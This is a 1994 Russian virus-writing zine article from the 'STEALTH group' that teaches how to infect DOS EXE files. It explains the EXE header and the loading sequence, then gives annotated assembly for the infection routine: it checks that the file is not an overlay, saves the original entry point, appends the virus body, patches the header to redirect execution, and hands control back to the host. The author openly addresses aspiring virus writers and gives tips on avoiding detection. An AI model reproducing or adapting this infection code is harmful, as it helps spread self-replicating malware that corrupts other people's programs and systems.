█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█  ▀					    ▀	       ███▀▀███
█ STEALTH group	█░ █ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▀█▀ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ ▄▀▀  ████▀▄██
█   presents	█░ █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █  ▀█▀▀  █████ ██
█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█░ ▐ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄  ███▄▄███
 ░░░░░░░░░░░░░░░░░                                                     DEC 1994
                                                                              
:::::::: How to possess simple EXE-file :::::::::::::::::::::::::::::::::::::::
:::::::: Стандартное заражение EXE-файлов. :::::::::::::::::::(C)LovinGOD::::::

       COM-файлы вымирают. Медленно , но верно. Эти маленькие программки, на-
писанные в основном на Ассемблере, заменяют на EXEшных монстров, пугающих 
своими жирными RelocationTableами и размерами. Даже в начале Command.Com
Нехорошего DOSа 7 стоит "MZ".(К тому же, эта пакость оверлейная и имеет аж 
один релокэйшн элемент - в падлу было мужикам  PUSH CS , POP AX сделать. Или
они сочли команду POP неприличной ? 
А, впрочем, писан он на какой-то гадости. Другое дело, если EXEшники больше
64Кб, - тут все оправдано. Их как раз в основном мы трогать не будем (до сле-
дующего номера).
	Давайте сначала научимся  ухаживать за простыми, неоверлейными.
О "перележавших" расскажу подробнее в следующем номере.

Итак, что же такое EXE-файл в свете последних постановлений партии дырявых пре-
зервативов. (NortonGad. Кто бы по вирусам NG написал, а ? Мы материал предоста-
вим.)

  Формат заголовка EXE-файла.  
  (заголовок, естественно, расположен в начале EXE файла)

  Смещ. длина 
   +0   2    5A4Dh - признак файла .EXE ('MZ'), формируемый компоновщиком или
             ('ZM'- 4D5Ah )  Инициалы Mарка Збиковски , одного из разработчиков
	     MS DOS.
   +2   2    PartPag - длина последнего блока файла (обычно игнорируется) 
   +4   2    PageCnt - длина файла в 512-байтных блоках                 
   +6   2    число элементов в таблице настройки адресов                       
   +8   2    HdrSize - длина заголовка в 16-байтных параграфах                 
  +0Ah  2    MinMem  - минимальный объем памяти, которую нужно выделить после
             конца программы (в 16-байтных параграфах).                        
  +0Ch  2    MaxMem  - максимальный объем памяти, которую нужно выделить после 
             конца программы (в 16-байтных параграфах).                        
  +0Eh  2    ReloSS  - сегментное смещение сегмента стека (для установки SS)   
  +10h  2    ExeSP   - значение SP, устанавливаемое при входе                  
  +12h  2    контрольная сумма - ноль минус сумма без переноса всех слов файла 
  +14h  2    ExeIP   - значение IP, устанавливаемое при входе (стартовый       
             адрес)                                                            
  +16h  2    ReloCS  - сегментное смещение сегмента кода (для установки CS)    
  +18h  2    смещение в файле первого элемента таблицы настройки адресов       
             (часто 1Ch)                                                       
  +1Ah  2    номер оверлея (0 - для корневого модуля)                          
 
     Далее следует таблица настройки адресов, состоящая из длинных указателей
  (смещение:сегмент) на слова в загрузочном модуле, содержащие настраиваемые   
  сегментные адреса.                                                           

   Примечание(LovinGOD): элементы таблицы настройки, или, по-русски, Relocation
 Table, могут быть расположены не по порядку, вследствие чего у меня не прошел
 алгоритм поиска "дырок", не содержащих перемещаемых элементов, для внедрения.
 Можно зря не стараться,- это верный путь к глюкам.

    EXE-программы определяют несколько сегментов, в том числе сегменты кодов,
 данных и стека.  Это означает, что в таких инструкциях, как, например,  
                                                                                
         mov     ax,data_seg                                                    
         mov     ds,ax                                                          
    или                                                                         
         call    my_far_proc                                                    
                                                                                
 должны быть установлены соответствующие значения сегментных адресов, чтобы 
 программа могла правильно работать, будучи загруженной, начиная с произволь-
 но выбранного сегмента.  Процесс установки ссылок называется перемещением. 
 (То есть, если DATA_SEG находится по смещению, скажем , 0001 -это число вы
 увидите в EXE-шнике на диске, к 0001 надо прибавить значение сегмента, с кото-
 рого программа начинается в памяти при выполнении, чтобы получить к нему 
 доступ)
                                                                                
    Файл EXE, построенный компоновщиком, состоит из двух частей:                
         - управляющая информация для загрузчика;                           
         - собственно загрузочный модуль.                                       
                                                                                
    Информация для загрузчика расположена в начале файла и образует так назы-   
 ваемый заголовок.  Сразу за ним следует тело загрузочного модуля.  Тело за-    
 грузочного модуля начинается на границе блока и представляет собой копию      
 образа памяти программы, построенную компоновщиком.                           
                                                                                
    При загрузке EXE-программы системным загрузчиком (вызовом X'4B')  
 выполняются следующее:                                                 
                                                                                
      1) Вызовом X'26' создается PSP.                      
      2) В рабочую область загрузчика считываются первые 1Ch байт EXE-файла.    
      3) Вычисляется длина загрузочного модуля по формуле:                     
         Size = ( (PageCnt*512)-(HdrSize*16) ) - PartPag                    
      4) Определяется смещение загрузочного модуля в файле, равное HdrSize*16.  
      5) Выбирается сегментный адрес (START_SEG) для загрузки (обычно PSP+10h).
         (Напоминает Хижняковское : обычно COM-файлы грузятся с адреса 100h )
      6) Загрузочный модуль считывается в память, начиная с адреса              
         START_SEG:0000.                         
      7) Для каждого входа таблицы настройки делается следующее:    
         a) читаются слова I_OFF и I_SEG;                                      
         b) вычисляется RELO_SEG=START_SEG+I_SEG;                               
         c) читается слово по адресу RELO_SEG:I_OFF;                            
         d) к прочитанному слову прибавляется START_SEG;                        
         e) результат запоминается по тому же адресу RELO_SEG:I_OFF.            
                                                                                
      8) Распределяется память для программы в соответствии с MaxMem и          
         MinMem.                                                                
                                                                                
      9) Инициализируются регистры и выполняется программа:                     
         a) ES = DS = PSP                                     
         b) AX = результат проверки правильности идентификаторов драйверов,
	    (драйверами у него, кажется Drives обзываются. Прим. LG)
            указанных в командной строке.  

		    БЕРЕГИТЕ  AX  !!!	(Чего я лично никогда не делаю)

         c) SS = START_SEG+ReloSS, SP = ExeSP                       
         d) CS = START_SEG+ReloCS, IP = ExeIP (последовательностью             
            инструкций: PUSH seg; PUSH offset; RETF)              


-------------------------------------------------------------------------------
А теперь, собственно, стандартное заражение :
-------------------------------------------------------------------------------
ReadHeader:			; читаем заголовок файла
;... 				; достаточно 18h байт	
 	mov ah,3Fh
 	mov dx,offset EXEHeader
	mov cx,0018h
	int 21h	

        mov si,offset EXEHeader

GetRealFSize:			; получим реальную длину файла, став на
				; его конец (легонько, а не то вирус не 
				; будет размножаться )		
	mov ax,4202h
	mov bx,Handle		
	xor cx,cx
	xor dx,dx
	Int 21h
;		Так как мы говорим о стандартном cпособе, то мы не должны 
;		трогать	оверлейные файлы( таким способом). У них длина, ука-
;		занная в заголовке, меньше реальной, то есть они загружаются 
;		в память не целиком. "The only way to exit
;				      Is going piece by piece..." ('Slayer')
	mov  Reallen,dx		; сохраним реальную длину
	mov  Reallen+2,ax

CompareOVL:
	push dx
	push ax
	mov  cx,512
	div  cx			; Получим: AX=число 512 байтных частей 
				;          DX=остаток
	or   dx,dx
	jz   m1			; 
	inc  ax			; остаток входит в последний 512байтный блок
				; (по заголовку) - его тоже считаем за блок
     m1:
	cmp  ax,[si+PartPag]	; 
	jne  ExitProc		; будем считать пригодным для заражения стандарт-
				; ным способом файлы с длиной, полностью совпада-
				; ющей с указанной в заголовке 
	cmp  dx,[si+PageCnt]
	jne  ExitProc

;		Для того, чтобы вирус смог вернуть управление зараженной прог-
;		рамме, необходимо сохранить из Header'a CS:IP и SS:SP.
; 		RELOSS,EXESP,RELOCS,EXEIP -  константы (определены выше)
InitRetVars:			; сохраняем CS:IP , SS:SP
	mov ax,[si+RELOSS]				
	mov oldss,ax
	mov ax,[si+EXESP]	
	mov oldsp,ax
	mov ax,[si+RELOCS]	
	mov oldcs,ax
	mov ax,[si+EXEIP]	
	mov oldip,ax

	pop ax			; реальная длина (совпадает с заголовочной
	pop dx			; в данном случае)

				; прибавляем длину тела вируса к длине файла
	add ax,VIRSIZE		; Ваш вирус меньше 64кб? Странно... Как ! Вы
				; писали не на BASICе ?! 
	adc dx,0                ; dx:ax = длина файла с вирусом

	mov cx,200h	
	div cx			; в 512-ти байтовых страницах
	or dx,dx		; остаток 
	jz new_len		
	inc ax			; есть неполная страница - она тоже считается
New_len:
	 mov [si+PAGECNT],ax    ; вносим новую длину в заголовок
	 mov [si+PARTPAG],dx    ; 

Eval_new_entry:			; новый EntryPoint	
	mov dx,reallen+2	; реальная длина файла
	mov ax,reallen

	mov cx,10h		; делим на 10h - сколько это в параграфах
	div cx 		              ; AX=частное, DX=остаток
	sub ax,[si+HDRSIZE]           ; отнимаем число параграфов в заголовке
	mov [si+RELOCS],ax            ; новый сегмент входа
	mov word ptr [si+EXEIP],dx    ; новое смещение входа
			; Замечание: можно было округлить данное число и 
			; вирус начинался бы с 0000 ... По-моему, не стОит. 
			; Естественно, все обращения к данным в нашем вирусе
			; дожны быть нефиксированными- как в любом нормальном
			; вирусе.
			; Вместо "mov  ax,ANYDATA"  прийдется делать так:
			; 	  mov si,VIRSTART
			;         mov AX,[si+offset ANYDATA]
			; где offset ANYDATA- смещение относительно начала тела
			; (ну это уж все знают)

			; Стек. Поставьте его за тело вируса - байт на 100h.
			; Потом обязательно вернуть !
			; Зачем переставлять стек ? Иначе мы можем затереть 
			; заранее заготовленные в нем значения 

	mov [si+RELOSS],ax   	; тот же сегмент, что и CS
	mov ax,VIRSIZE+100h     ; точка входа в стек
	mov [si+EXESP],ax
			; Вот и все! Теперь запишем заголовок в файл, не забыв
			; и тело вируса. Советую писать сначала тело, а потом
			; заголовок, чтобы не испортить файл, если потом тело
			; вдруг не допишется (обнаружат!), и файл искалечите 
			; зря. 
UpdateFile:
 WriteBody:
	mov bx,HANDLER
	xor cx,cx
	xor dx,dx
	mov ax,4202h
	int 21h
	mov ah,40h
	mov cx,VIRSIZE	
	mov dx,offset VIRStart
	int 21h
 WriteHeader:
	mov ax,4200h
	xor cx,cx
	xor dx,dx
	int 21h
   	mov cx,001Ch
	mov ah,40h
	mov dx,si
	int 21h

 reallen    dw ?
	    dw ?	

	
	Yeah, мы поселились в EXE-файле. А как теперь ему живется в своей 
  квартире ?  Как передать ему управление после отработки основной ;)
  части? Продолжение в следующем номере. (Шутка!) Итак, припомним, что мы
  там сохраняли в переменные  oldSS,SP,CS,IP ?  Правильно, прежние значения
  точки входа и адреса стека. 
	Здесь вам прийдется столкнуться с одним красивым извращением (возьми-
  те на заметку, полезная штука). Есть значение, которое надо сохранить, а 
  потом единожды использовать.( Как в данном случае )		
  Сохранять его в переменную, а потом считывать? Конечно! 
  Не совсем так. Куда экономнее и  красивее будет  сохранить ее туда, где она
  второй раз используется. Смотри нижеописанную процедуру:

		mov OldIP,ax		; сохранение
		.....
		mov ax,OldIP		; нормальный способ
					; (не забудьте еще обьявить где-нибудь
					; "OldIP dw ?")
Или: 
(2)
		mov OldIP,ax
		....
	        db  0B8h		; то же, что и "MOV AX"
        OldIP   dw  ?			; операнд

*** Не забудьте о конвейере - не стоит изменять вот так последующие несколько
    команд . Если очень не терпится вот так извратнуть следующую команду,
    попрыгайте на месте:  JMP SHORT $+2)

  А вот процедура выхода из вируса.

 CureEXE:
 StackBack:
	mov ax,DATASEG				 ; сегмент DS+10H есть 0:0 для
	add ax,10h				 ; EXE файла 
	db  @add_ax				 ; хекс для кода ADD DX
						 ; обьявите константу типа
						 ;  @MOV_AX EQU 0B8h, остальное
						 ; -по аналогии	
	OldSS dw ?					
	cli
	mov ss,ax				 ; DS+10h+OldSS	
	db @mov_sp		
	OldSP dw ?	
	sti 
 RetEntryPoint:
	pushf
	db @mov_ax
  OldCS dw ?					 ; DS+10h+OldCS
	add ax,DATASEG
	add ax,10h				 ; 0000:0000 по заголовку 
	push ax					 ; готовим FAR JMP	
	db @mov_ax				
  OldIP dw ?
	push ax					 ; Old IP
	iret					


	Вот и все. О сегментированных файлах - оверлейных - я расскажу в
  следующем номере.  Вернее, о некоторых методах внедрения в них. Здесь поле
  для фантазии достаточно широкое. Учиться, учиться и учиться. А мы вас 
  научим. Успехов ! 		
						 LovinGOD.


; ─────────────────────────────────────────────────────────────────────────
; ──────────────── Remember Where You Saw This Phile First ────────────────
; ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
; ─────────────────────────────────────────────────────────────────────────
